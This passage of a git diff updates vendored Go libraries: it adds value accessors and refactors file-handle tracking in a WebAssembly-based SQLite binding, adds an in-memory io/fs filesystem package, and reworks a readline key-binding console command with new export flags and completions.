+ r := s.c.call(s.c.api.errcode, uint64(s.c.handle))
s.err = s.c.error(r)
return nil
}
- r = s.c.call(s.c.api.columnBytes,
+ r := s.c.call(s.c.api.columnBytes,
uint64(s.handle), uint64(col))
-
return util.View(s.c.mod, ptr, r)
}
diff --git a/vendor/github.com/ncruces/go-sqlite3/value.go b/vendor/github.com/ncruces/go-sqlite3/value.go
new file mode 100644
index 0000000000..aed10561e5
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/value.go
@@ -0,0 +1,125 @@
+package sqlite3
+
+import (
+ "math"
+ "time"
+
+ "github.com/ncruces/go-sqlite3/internal/util"
+)
+
+// Value is any value that can be stored in a database table.
+//
+// https://www.sqlite.org/c3ref/value.html
+type Value struct {
+ *sqlite
+ handle uint32
+}
+
+// Type returns the initial [Datatype] of the value.
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) Type() Datatype {
+ r := v.call(v.api.valueType, uint64(v.handle))
+ return Datatype(r)
+}
+
+// Bool returns the value as a bool.
+// SQLite does not have a separate boolean storage class.
+// Instead, boolean values are retrieved as integers,
+// with 0 converted to false and any other value to true.
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) Bool() bool {
+ if i := v.Int64(); i != 0 {
+ return true
+ }
+ return false
+}
+
+// Int returns the value as an int.
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) Int() int {
+ return int(v.Int64())
+}
+
+// Int64 returns the value as an int64.
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) Int64() int64 {
+ r := v.call(v.api.valueInteger, uint64(v.handle))
+ return int64(r)
+}
+
+// Float returns the value as a float64.
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) Float() float64 {
+ r := v.call(v.api.valueFloat, uint64(v.handle))
+ return math.Float64frombits(r)
+}
+
+// Time returns the value as a [time.Time].
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) Time(format TimeFormat) time.Time {
+ var a any
+ switch v.Type() {
+ case INTEGER:
+ a = v.Int64()
+ case FLOAT:
+ a = v.Float()
+ case TEXT, BLOB:
+ a = v.Text()
+ case NULL:
+ return time.Time{}
+ default:
+ panic(util.AssertErr())
+ }
+ t, _ := format.Decode(a)
+ return t
+}
+
+// Text returns the value as a string.
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) Text() string {
+ return string(v.RawText())
+}
+
+// Blob appends to buf and returns
+// the value as a []byte.
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) Blob(buf []byte) []byte {
+ return append(buf, v.RawBlob()...)
+}
+
+// RawText returns the value as a []byte.
+// The []byte is owned by SQLite and may be invalidated by
+// subsequent calls to [Value] methods.
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) RawText() []byte {
+ r := v.call(v.api.valueText, uint64(v.handle))
+ return v.rawBytes(uint32(r))
+}
+
+// RawBlob returns the value as a []byte.
+// The []byte is owned by SQLite and may be invalidated by
+// subsequent calls to [Value] methods.
+//
+// https://www.sqlite.org/c3ref/value_blob.html
+func (v Value) RawBlob() []byte {
+ r := v.call(v.api.valueBlob, uint64(v.handle))
+ return v.rawBytes(uint32(r))
+}
+
+func (v Value) rawBytes(ptr uint32) []byte {
+ if ptr == 0 {
+ return nil
+ }
+
+ r := v.call(v.api.valueBytes, uint64(v.handle))
+ return util.View(v.mod, ptr, r)
+}
diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go
index 7425096241..158f1731d2 100644
--- a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go
+++ b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go
@@ -15,7 +15,7 @@ type VFS interface {
FullPathname(name string) (string, error)
}
-// VFSParams extends VFS to with the ability to handle URI parameters
+// VFSParams extends VFS with the ability to handle URI parameters
// through the OpenParams method.
//
// https://www.sqlite.org/c3ref/uri_boolean.html
diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go b/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go
new file mode 100644
index 0000000000..035458e687
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go
@@ -0,0 +1,9 @@
+//go:build !go1.21
+
+package vfs
+
+func clear(b []byte) {
+ for i := range b {
+ b[i] = 0
+ }
+}
diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go
index e50bacffc8..3114705b7b 100644
--- a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go
+++ b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go
@@ -44,33 +44,6 @@ func ExportHostFunctions(env wazero.HostModuleBuilder) wazero.HostModuleBuilder
return env
}
-type vfsKey struct{}
-type vfsState struct {
- files []File
-}
-
-// NewContext is an internal API users need not call directly.
-//
-// NewContext creates a new context to hold [api.Module] specific VFS data.
-// The context should be passed to any [api.Function] calls that might
-// generate VFS host callbacks.
-// The returned [io.Closer] should be closed after the [api.Module] is closed,
-// to release any associated resources.
-func NewContext(ctx context.Context) (context.Context, io.Closer) {
- vfs := new(vfsState)
- return context.WithValue(ctx, vfsKey{}, vfs), vfs
-}
-
-func (vfs *vfsState) Close() error {
- for _, f := range vfs.files {
- if f != nil {
- f.Close()
- }
- }
- vfs.files = nil
- return nil
-}
-
func vfsFind(ctx context.Context, mod api.Module, zVfsName uint32) uint32 {
name := util.ReadString(mod, zVfsName, _MAX_STRING)
if vfs := Find(name); vfs != nil && vfs != (vfsOS{}) {
@@ -183,6 +156,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla
file, flags, err = vfs.Open(path, flags)
}
+ if err != nil {
+ return vfsErrorCode(err, _CANTOPEN)
+ }
+
if file, ok := file.(FilePowersafeOverwrite); ok {
if !parsed {
params = vfsURIParameters(ctx, mod, zPath, flags)
@@ -192,14 +169,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla
}
}
- if err != nil {
- return vfsErrorCode(err, _CANTOPEN)
- }
-
- vfsFileRegister(ctx, mod, pFile, file)
if pOutFlags != 0 {
util.WriteUint32(mod, pOutFlags, uint32(flags))
}
+ vfsFileRegister(ctx, mod, pFile, file)
return _OK
}
@@ -431,40 +404,22 @@ func vfsGet(mod api.Module, pVfs uint32) VFS {
panic(util.NoVFSErr + util.ErrorString(name))
}
-func vfsFileNew(vfs *vfsState, file File) uint32 {
- // Find an empty slot.
- for id, f := range vfs.files {
- if f == nil {
- vfs.files[id] = file
- return uint32(id)
- }
- }
-
- // Add a new slot.
- vfs.files = append(vfs.files, file)
- return uint32(len(vfs.files) - 1)
-}
-
func vfsFileRegister(ctx context.Context, mod api.Module, pFile uint32, file File) {
const fileHandleOffset = 4
- id := vfsFileNew(ctx.Value(vfsKey{}).(*vfsState), file)
+ id := util.AddHandle(ctx, file)
util.WriteUint32(mod, pFile+fileHandleOffset, id)
}
func vfsFileGet(ctx context.Context, mod api.Module, pFile uint32) File {
const fileHandleOffset = 4
- vfs := ctx.Value(vfsKey{}).(*vfsState)
id := util.ReadUint32(mod, pFile+fileHandleOffset)
- return vfs.files[id]
+ return util.GetHandle(ctx, id).(File)
}
func vfsFileClose(ctx context.Context, mod api.Module, pFile uint32) error {
const fileHandleOffset = 4
- vfs := ctx.Value(vfsKey{}).(*vfsState)
id := util.ReadUint32(mod, pFile+fileHandleOffset)
- file := vfs.files[id]
- vfs.files[id] = nil
- return file.Close()
+ return util.DelHandle(ctx, id)
}
func vfsErrorCode(err error, def _ErrorCode) _ErrorCode {
@@ -477,9 +432,3 @@ func vfsErrorCode(err error, def _ErrorCode) _ErrorCode {
}
return def
}
-
-func clear(b []byte) {
- for i := range b {
- b[i] = 0
- }
-}
diff --git a/vendor/github.com/psanford/memfs/LICENSE b/vendor/github.com/psanford/memfs/LICENSE
new file mode 100644
index 0000000000..fbf711fd73
--- /dev/null
+++ b/vendor/github.com/psanford/memfs/LICENSE
@@ -0,0 +1,27 @@
+Copyright (c) 2021 The memfs Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+ * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+ * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/github.com/psanford/memfs/Readme.md b/vendor/github.com/psanford/memfs/Readme.md
new file mode 100644
index 0000000000..ae85f8754f
--- /dev/null
+++ b/vendor/github.com/psanford/memfs/Readme.md
@@ -0,0 +1,50 @@
+# memfs: A simple in-memory io/fs.FS filesystem
+
+memfs is an in-memory implementation of Go's io/fs.FS interface.
+The goal is to make it easy and quick to build an fs.FS filesystem
+when you don't have any complex requirements.
+
+Documentation: https://pkg.go.dev/github.com/psanford/memfs
+
+`io/fs` docs: https://tip.golang.org/pkg/io/fs/
+
+## Usage
+
+```
+package main
+
+import (
+ "fmt"
+ "io/fs"
+
+ "github.com/psanford/memfs"
+)
+
+func main() {
+ rootFS := memfs.New()
+
+ err := rootFS.MkdirAll("dir1/dir2", 0777)
+ if err != nil {
+ panic(err)
+ }
+
+ err = rootFS.WriteFile("dir1/dir2/f1.txt", []byte("incinerating-unsubstantial"), 0755)
+ if err != nil {
+ panic(err)
+ }
+
+ err = fs.WalkDir(rootFS, ".", func(path string, d fs.DirEntry, err error) error {
+ fmt.Println(path)
+ return nil
+ })
+ if err != nil {
+ panic(err)
+ }
+
+ content, err := fs.ReadFile(rootFS, "dir1/dir2/f1.txt")
+ if err != nil {
+ panic(err)
+ }
+ fmt.Printf("%s\n", content)
+}
+```
diff --git a/vendor/github.com/psanford/memfs/memfs.go b/vendor/github.com/psanford/memfs/memfs.go
new file mode 100644
index 0000000000..311ca6bd6d
--- /dev/null
+++ b/vendor/github.com/psanford/memfs/memfs.go
@@ -0,0 +1,427 @@
+package memfs
+
+import (
+ "bytes"
+ "errors"
+ "fmt"
+ "io/fs"
+ "os"
+ syspath "path"
+ "strings"
+ "sync"
+ "time"
+)
+
+// FS is an in-memory filesystem that implements
+// io/fs.FS
+type FS struct {
+ dir *dir
+}
+
+// New creates a new in-memory FileSystem.
+func New() *FS {
+ return &FS{
+ dir: &dir{
+ children: make(map[string]childI),
+ },
+ }
+}
+
+// MkdirAll creates a directory named path,
+// along with any necessary parents, and returns nil,
+// or else returns an error.
+// The permission bits perm (before umask) are used for all
+// directories that MkdirAll creates.
+// If path is already a directory, MkdirAll does nothing
+// and returns nil.
+func (rootFS *FS) MkdirAll(path string, perm os.FileMode) error {
+ if !fs.ValidPath(path) {
+ return fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid)
+ }
+
+ if path == "." {
+ // root dir always exists
+ return nil
+ }
+
+ parts := strings.Split(path, "/")
+
+ next := rootFS.dir
+ for _, part := range parts {
+ cur := next
+ cur.mu.Lock()
+ child := cur.children[part]
+ if child == nil {
+ newDir := &dir{
+ name: part,
+ perm: perm,
+ children: make(map[string]childI),
+ }
+ cur.children[part] = newDir
+ next = newDir
+ } else {
+ childDir, ok := child.(*dir)
+ if !ok {
+ return fmt.Errorf("not a directory: %s: %w", part, fs.ErrInvalid)
+ }
+ next = childDir
+ }
+ cur.mu.Unlock()
+ }
+
+ return nil
+}
+
+func (rootFS *FS) getDir(path string) (*dir, error) {
+ if path == "" {
+ return rootFS.dir, nil
+ }
+ parts := strings.Split(path, "/")
+
+ cur := rootFS.dir
+ for _, part := range parts {
+ err := func() error {
+ cur.mu.Lock()
+ defer cur.mu.Unlock()
+ child := cur.children[part]
+ if child == nil {
+ return fmt.Errorf("not a directory: %s: %w", part, fs.ErrNotExist)
+ } else {
+ childDir, ok := child.(*dir)
+ if !ok {
+ return fmt.Errorf("no such file or directory: %s: %w", part, fs.ErrNotExist)
+ }
+ cur = childDir
+ }
+ return nil
+ }()
+ if err != nil {
+ return nil, err
+ }
+ }
+
+ return cur, nil
+}
+
+func (rootFS *FS) get(path string) (childI, error) {
+ if path == "" {
+ return rootFS.dir, nil
+ }
+
+ parts := strings.Split(path, "/")
+
+ var (
+ cur = rootFS.dir
+
+ chld childI
+ err error
+ )
+ for i, part := range parts {
+ chld, err = func() (childI, error) {
+ cur.mu.Lock()
+ defer cur.mu.Unlock()
+ child := cur.children[part]
+ if child == nil {
+ return nil, fmt.Errorf("not a directory: %s: %w", part, fs.ErrNotExist)
+ } else {
+ _, isFile := child.(*File)
+ if isFile {
+ if i == len(parts)-1 {
+ return child, nil
+ } else {
+ return nil, fmt.Errorf("no such file or directory: %s: %w", part, fs.ErrNotExist)
+ }
+ }
+
+ childDir, ok := child.(*dir)
+ if !ok {
+ return nil, errors.New("not a directory")
+ }
+ cur = childDir
+ }
+ return child, nil
+ }()
+ if err != nil {
+ return nil, err
+ }
+ }
+
+ return chld, nil
+}
+
+func (rootFS *FS) create(path string) (*File, error) {
+ if !fs.ValidPath(path) {
+ return nil, fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid)
+ }
+
+ if path == "." {
+ // root dir
+ path = ""
+ }
+
+ dirPart, filePart := syspath.Split(path)
+
+ dirPart = strings.TrimSuffix(dirPart, "/")
+ dir, err := rootFS.getDir(dirPart)
+ if err != nil {
+ return nil, err
+ }
+
+ dir.mu.Lock()
+ defer dir.mu.Unlock()
+ existing := dir.children[filePart]
+ if existing != nil {
+ _, ok := existing.(*File)
+ if !ok {
+ return nil, fmt.Errorf("path is a directory: %s: %w", path, fs.ErrExist)
+ }
+ }
+
+ newFile := &File{
+ name: filePart,
+ perm: 0666,
+ content: &bytes.Buffer{},
+ }
+ dir.children[filePart] = newFile
+
+ return newFile, nil
+}
+
+// WriteFile writes data to a file named by filename.
+// If the file does not exist, WriteFile creates it with permissions perm
+// (before umask); otherwise WriteFile truncates it before writing, without changing permissions.
+func (rootFS *FS) WriteFile(path string, data []byte, perm os.FileMode) error {
+ if !fs.ValidPath(path) {
+ return fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid)
+ }
+
+ if path == "." {
+ // root dir
+ path = ""
+ }
+
+ f, err := rootFS.create(path)
+ if err != nil {
+ return err
+ }
+ f.content = bytes.NewBuffer(data)
+ f.perm = perm
+ return nil
+}
+
+// Open opens the named file.
+func (rootFS *FS) Open(name string) (fs.File, error) {
+ if !fs.ValidPath(name) {
+ return nil, &fs.PathError{
+ Op: "open",
+ Path: name,
+ Err: fs.ErrInvalid,
+ }
+ }
+
+ if name == "." {
+ // root dir
+ name = ""
+ }
+
+ child, err := rootFS.get(name)
+ if err != nil {
+ return nil, err
+ }
+
+ switch cc := child.(type) {
+ case *File:
+ handle := &File{
+ name: cc.name,
+ perm: cc.perm,
+ content: bytes.NewBuffer(cc.content.Bytes()),
+ }
+ return handle, nil
+ case *dir:
+ handle := &fhDir{
+ dir: cc,
+ }
+ return handle, nil
+ }
+
+ return nil, fmt.Errorf("unexpected file type in fs: %s: %w", name, fs.ErrInvalid)
+}
+
+// Sub returns an FS corresponding to the subtree rooted at path.
+func (rootFS *FS) Sub(path string) (fs.FS, error) {
+ dir, err := rootFS.getDir(path)
+ if err != nil {
+ return nil, err
+ }
+ return &FS{dir: dir}, nil
+}
+
+type dir struct {
+ mu sync.Mutex
+ name string
+ perm os.FileMode
+ modTime time.Time
+ children map[string]childI
+}
+
+type fhDir struct {
+ dir *dir
+ idx int
+}
+
+func (d *fhDir) Stat() (fs.FileInfo, error) {
+ fi := fileInfo{
+ name: d.dir.name,
+ size: 4096,
+ modTime: d.dir.modTime,
+ mode: d.dir.perm | fs.ModeDir,
+ }
+ return &fi, nil
+}
+
+func (d *fhDir) Read(b []byte) (int, error) {
+ return 0, errors.New("is a directory")
+}
+
+func (d *fhDir) Close() error {
+ return nil
+}
+
+func (d *fhDir) ReadDir(n int) ([]fs.DirEntry, error) {
+ d.dir.mu.Lock()
+ defer d.dir.mu.Unlock()
+
+ names := make([]string, 0, len(d.dir.children))
+ for name := range d.dir.children {
+ names = append(names, name)
+ }
+
+ if n <= 0 {
+ n = len(names)
+ }
+
+ out := make([]fs.DirEntry, 0, n)
+
+ for i := d.idx; i < n && i < len(names); i++ {
+ name := names[i]
+ child := d.dir.children[name]
+
+ f, isFile := child.(*File)
+ if isFile {
+ stat, _ := f.Stat()
+ out = append(out, &dirEntry{
+ info: stat,
+ })
+ } else {
+ d := child.(*dir)
+ fi := fileInfo{
+ name: d.name,
+ size: 4096,
+ modTime: d.modTime,
+ mode: d.perm | fs.ModeDir,
+ }
+ out = append(out, &dirEntry{
+ info: &fi,
+ })
+ }
+
+ d.idx = i
+ }
+ return out, nil
+}
+
+type File struct {
+ name string
+ perm os.FileMode
+ content *bytes.Buffer
+ modTime time.Time
+ closed bool
+}
+
+func (f *File) Stat() (fs.FileInfo, error) {
+ if f.closed {
+ return nil, fs.ErrClosed
+ }
+ fi := fileInfo{
+ name: f.name,
+ size: int64(f.content.Len()),
+ modTime: f.modTime,
+ mode: f.perm,
+ }
+ return &fi, nil
+}
+
+func (f *File) Read(b []byte) (int, error) {
+ if f.closed {
+ return 0, fs.ErrClosed
+ }
+ return f.content.Read(b)
+}
+
+func (f *File) Close() error {
+ if f.closed {
+ return fs.ErrClosed
+ }
+ f.closed = true
+ return nil
+}
+
+type childI interface {
+}
+
+type fileInfo struct {
+ name string
+ size int64
+ modTime time.Time
+ mode fs.FileMode
+}
+
+// base name of the file
+func (fi *fileInfo) Name() string {
+ return fi.name
+}
+
+// length in bytes for regular files; system-dependent for others
+func (fi *fileInfo) Size() int64 {
+ return fi.size
+}
+
+// file mode bits
+func (fi *fileInfo) Mode() fs.FileMode {
+ return fi.mode
+}
+
+// modification time
+func (fi *fileInfo) ModTime() time.Time {
+ return fi.modTime
+}
+
+// abbreviation for Mode().IsDir()
+func (fi *fileInfo) IsDir() bool {
+ return fi.mode&fs.ModeDir > 0
+}
+
+// underlying data source (can return nil)
+func (fi *fileInfo) Sys() interface{} {
+ return nil
+}
+
+type dirEntry struct {
+ info fs.FileInfo
+}
+
+func (de *dirEntry) Name() string {
+ return de.info.Name()
+}
+
+func (de *dirEntry) IsDir() bool {
+ return de.info.IsDir()
+}
+
+func (de *dirEntry) Type() fs.FileMode {
+ return de.info.Mode()
+}
+
+func (de *dirEntry) Info() (fs.FileInfo, error) {
+ return de.info, nil
+}
diff --git a/vendor/github.com/reeflective/console/README.md b/vendor/github.com/reeflective/console/README.md
index 0d6dc7fb22..e555fd4b49 100644
--- a/vendor/github.com/reeflective/console/README.md
+++ b/vendor/github.com/reeflective/console/README.md
@@ -90,7 +90,7 @@ is also available in the [wiki](https://github.com/reeflective/console/wiki):
![console](https://github.com/reeflective/console/blob/assets/console.gif)
-## Status
+## Status
The library is in a pre-release candidate status:
- Although quite simple and small, it has not been tested heavily.
@@ -100,3 +100,13 @@ The library is in a pre-release candidate status:
Please open a PR or an issue if you wish to bring enhancements to it.
Other contributions, as well as bug fixes and reviews are also welcome.
+
+## Possible Improvements
+
+The following is a currently moving list of possible enhancements to be made in order to reach `v1.0`:
+- [ ] Ensure to the best extent possible a thread-safe access to the command API.
+- [ ] Clearer integration/alignment of the various I/O references between readline and commands.
+- [ ] Clearer and sane model for asynchronous control/cancel of commands.
+- [ ] Allow users to run the console command trees in one-exec style, with identical behavior.
+- [ ] Test suite for most important or risky code paths.
+- [ ] Set of helper functions for application-related directories.
diff --git a/vendor/github.com/reeflective/console/command.go b/vendor/github.com/reeflective/console/command.go
index 2e019480ef..d3858cd3e9 100644
--- a/vendor/github.com/reeflective/console/command.go
+++ b/vendor/github.com/reeflective/console/command.go
@@ -1,8 +1,6 @@
package console
import (
- "strings"
-
"github.com/spf13/cobra"
)
@@ -75,38 +73,3 @@ next:
c.filters = updated
}
-
-func (c *Console) isFiltered(cmd *cobra.Command) bool {
- if cmd.Annotations == nil {
- return false
- }
-
- // Get the filters on the command
- filterStr := cmd.Annotations[CommandFilterKey]
- filters := strings.Split(filterStr, ",")
-
- for _, cmdFilter := range filters {
- for _, filter := range c.filters {
- if cmdFilter != "" && cmdFilter == filter {
- return true
- }
- }
- }
-
- return false
-}
-
-// hide commands that are filtered so that they are not
-// shown in the help strings or proposed as completions.
-func (c *Console) hideFilteredCommands() {
- for _, cmd := range c.activeMenu().Commands() {
- // Don't override commands if they are already hidden
- if cmd.Hidden {
- continue
- }
-
- if c.isFiltered(cmd) {
- cmd.Hidden = true
- }
- }
-}
diff --git a/vendor/github.com/reeflective/console/commands/readline/bind.go b/vendor/github.com/reeflective/console/commands/readline/bind.go
index 2099658aef..dca0eb2e2b 100644
--- a/vendor/github.com/reeflective/console/commands/readline/bind.go
+++ b/vendor/github.com/reeflective/console/commands/readline/bind.go
@@ -4,13 +4,13 @@ import (
"errors"
"fmt"
"os"
- "sort"
"strings"
- "github.com/reeflective/readline"
- "github.com/reeflective/readline/inputrc"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
+
+ "github.com/reeflective/readline"
+ "github.com/reeflective/readline/inputrc"
)
// Bind returns a command named `bind`, for manipulating readline keymaps and bindings.
@@ -20,15 +20,25 @@ func Bind(shell *readline.Shell) *cobra.Command {
Short: "Display or modify readline key bindings",
Long: `Manipulate readline keymaps and bindings.
-Basic binding examples:
- bind "\C-x\C-r": re-read-init-file // C-x C-r to reload the inputrc file, in the default keymap.
- bind -m vi-insert "\C-l" clear-screen // C-l to clear-screen in vi-insert mode
- bind -m menu-complete '\C-n' menu-complete // C-n to cycle through choices in the completion keymap.
-
+Changing binds:
Note that the keymap name is optional, and if omitted, the default keymap is used.
The default keymap is 'vi' only if 'set editing-mode vi' is found in inputrc , and
unless the -m option is used to set a different keymap.
-Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command.`,
+Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command.
+
+Exporting binds:
+- Since all applications always look up to the same file for a given user,
+ the export command does not allow to write and modify this file itself.
+- Also, since saving the entire list of options and bindings in a different
+ file for each application would also defeat the purpose of .inputrc.`,
+ Example: `Changing binds:
+ bind "\C-x\C-r": re-read-init-file # C-x C-r to reload the inputrc file, in the default keymap.
+ bind -m vi-insert "\C-l" clear-screen # C-l to clear-screen in vi-insert mode
+ bind -m menu-complete '\C-n' menu-complete # C-n to cycle through choices in the completion keymap.
+
+Exporting binds:
+ bind --binds-rc --lib --changed # Only changed options/binds to stdout applying to all apps using this lib
+ bind --app OtherApp -c # Changed options, applying to an app other than our current shell one`,
}
// Flags
@@ -44,8 +54,27 @@ Also, note that the bind [seq] [command] slightly differs from the original bash
cmd.Flags().StringP("unbind", "u", "", "Unbind all keys which are bound to the named function")
cmd.Flags().StringP("remove", "r", "", "Remove the bindings for KEYSEQ")
cmd.Flags().StringP("file", "f", "", "Read key bindings from FILENAME")
- // cmd.Flags().StringP("execute", "x", "", "Cause SHELL-COMMAND to be executed whenever KEYSEQ is entered")
- // cmd.Flags().BoolP("execute-rc", "X", false, "List key sequences bound with -x and associated commands in a form that can be reused as input")
+ cmd.Flags().StringP("app", "A", "", "Optional application name (if empty/not used, the current app)")
+ cmd.Flags().BoolP("changed", "c", false, "Only export options modified since app start: maybe not needed, since no use for it")
+ cmd.Flags().BoolP("lib", "L", false, "Like 'app', but export options/binds for all apps using this specific library")
+ cmd.Flags().BoolP("self-insert", "I", false, "If exporting bind sequences, also include the sequences mapped to self-insert")
+
+ // Completions
+ comps := carapace.Gen(cmd)
+ flagComps := make(carapace.ActionMap)
+
+ flagComps["keymap"] = completeKeymaps(shell, cmd)
+ flagComps["query"] = completeCommands(shell, cmd)
+ flagComps["unbind"] = completeCommands(shell, cmd)
+ flagComps["remove"] = completeBindSequences(shell, cmd)
+ flagComps["file"] = carapace.ActionFiles()
+
+ comps.FlagCompletion(flagComps)
+
+ comps.PositionalCompletion(
+ carapace.ActionValues().Usage("key sequence"),
+ completeCommands(shell, cmd),
+ )
// Run implementation
cmd.RunE = func(cmd *cobra.Command, args []string) error {
@@ -55,358 +84,222 @@ Also, note that the bind [seq] [command] slightly differs from the original bash
keymap = string(shell.Keymap.Main())
}
- // Listing actions
- switch {
- // Function names
- case cmd.Flags().Changed("list"):
- for name := range shell.Keymap.Commands() {
- fmt.Println(name)
- }
+ var name string
+ reeflective := "reeflective"
+ buf := &cfgBuilder{buf: &strings.Builder{}}
- // Sequences to function names
- case cmd.Flags().Changed("binds"):
- shell.Keymap.PrintBinds(keymap, false)
- return nil
+ // First prepare the branching strings for any
+ // needed conditionals (App, Lib, keymap, etc)
+ changed := cmd.Flags().Changed("changed")
+ rm := cmd.Flags().Changed("remove")
+ unbind := cmd.Flags().Changed("unbind")
+ app := cmd.Flags().Changed("app")
+ lib := cmd.Flags().Changed("lib")
- case cmd.Flags().Changed("binds-rc"):
- shell.Keymap.PrintBinds(keymap, true)
- return nil
+ // 1 - SIMPLE QUERIES ------------------------------------------------
- // Macros
- case cmd.Flags().Changed("macros"):
- binds := shell.Config.Binds[keymap]
- if len(binds) == 0 {
- return nil
- }
- var macroBinds []string
+ // All flags and args that are "exiting the command
+ // after run" are listed and evaluated first.
- for keys, bind := range binds {
- if bind.Macro {
- macroBinds = append(macroBinds, inputrc.Escape(keys))
- }
+ // Function names
+ if cmd.Flags().Changed("list") {
+ for name := range shell.Keymap.Commands() {
+ fmt.Println(name)
}
- sort.Strings(macroBinds)
-
- for _, key := range macroBinds {
- action := inputrc.Escape(binds[inputrc.Unescape(key)].Action)
- fmt.Printf("%s outputs %s\n", key, action)
- }
+ return nil
+ }
+ // 2 - Query binds for function
+ if cmd.Flags().Changed("query") {
+ listBinds(shell, buf, cmd, keymap)
+ fmt.Fprint(cmd.OutOrStdout(), buf.buf.String())
return nil
+ }
- case cmd.Flags().Changed("macros-rc"):
- binds := shell.Config.Binds[keymap]
- if len(binds) == 0 {
- return nil
+ // From this point on, some flags don't exit after printing
+ // their respective listings, since we can combine and output
+ // various types of stuff at once, for configs or display.
+ //
+ // We can even read a file for binds, remove some of them,
+ // and display all or specific sections of our config in
+ // a single call, with multiple flags of all sorts.
+
+ // 1 - Apply any changes we want from a file first.
+ if cmd.Flags().Changed("file") {
+ if err := readFileConfig(shell, cmd, keymap); err != nil {
+ return err
}
- var macroBinds []string
+ }
- for keys, bind := range binds {
- if bind.Macro {
- macroBinds = append(macroBinds, inputrc.Escape(keys))
- }
- }
+ // Remove anything we might have been asked to.
+ if unbind {
+ unbindKeys(shell, cmd, keymap)
+ }
- sort.Strings(macroBinds)
+ if rm {
+ removeCommands(shell, cmd, keymap)
+ }
- for _, key := range macroBinds {
- action := inputrc.Escape(binds[inputrc.Unescape(key)].Action)
- fmt.Printf("\"%s\": \"%s\"\n", key, action)
- }
+ // 2 - COMPLEX QUERIES ------------------------------------------------
- return nil
+ // Write App/Lib headers for
+ if app {
+ fmt.Fprintf(buf, "# %s application (generated)\n", name)
+ buf.newCond(name)
+ } else if lib {
+ fmt.Fprintf(buf, "# %s/readline library-specific (generated)\n", reeflective)
+ buf.newCond(reeflective)
+ }
- // Global readline options
- case cmd.Flags().Changed("vars"):
- var variables []string
+ // Global option variables
+ if cmd.Flags().Changed("vars") {
+ listVars(shell, buf, cmd)
+ } else if cmd.Flags().Changed("vars-rc") {
+ listVarsRC(shell, buf, cmd)
+ }
- for variable := range shell.Config.Vars {
- variables = append(variables, variable)
- }
+ // Sequences to function names
+ if cmd.Flags().Changed("binds") {
+ listBinds(shell, buf, cmd, keymap)
+ } else if cmd.Flags().Changed("binds-rc") {
+ listBindsRC(shell, buf, cmd, keymap)
+ }
- sort.Strings(variables)
+ // Macros
+ if cmd.Flags().Changed("macros") {
+ listMacros(shell, buf, cmd, keymap)
+ } else if cmd.Flags().Changed("macros-rc") {
+ listMacrosRC(shell, buf, cmd, keymap)
+ }
- for _, variable := range variables {
- value := shell.Config.Vars[variable]
- fmt.Printf("%s is set to `%v'\n", variable, value)
- }
+ // Close any App/Lib conditional
+ buf.endCond()
+ // The command has performed an action, so any binding
+ // with positional arguments is not considered or evaluated.
+ if buf.buf.Len() > 0 {
+ fmt.Fprintln(cmd.OutOrStdout(), buf.buf.String())
return nil
-
- case cmd.Flags().Changed("vars-rc"):
- var variables []string
-
- for variable := range shell.Config.Vars {
- variables = append(variables, variable)
- }
-
- sort.Strings(variables)
-
- for _, variable := range variables {
- value := shell.Config.Vars[variable]
- fmt.Printf("set %s %v\n", variable, value)
- }
-
+ } else if app || lib || changed || rm || unbind {
return nil
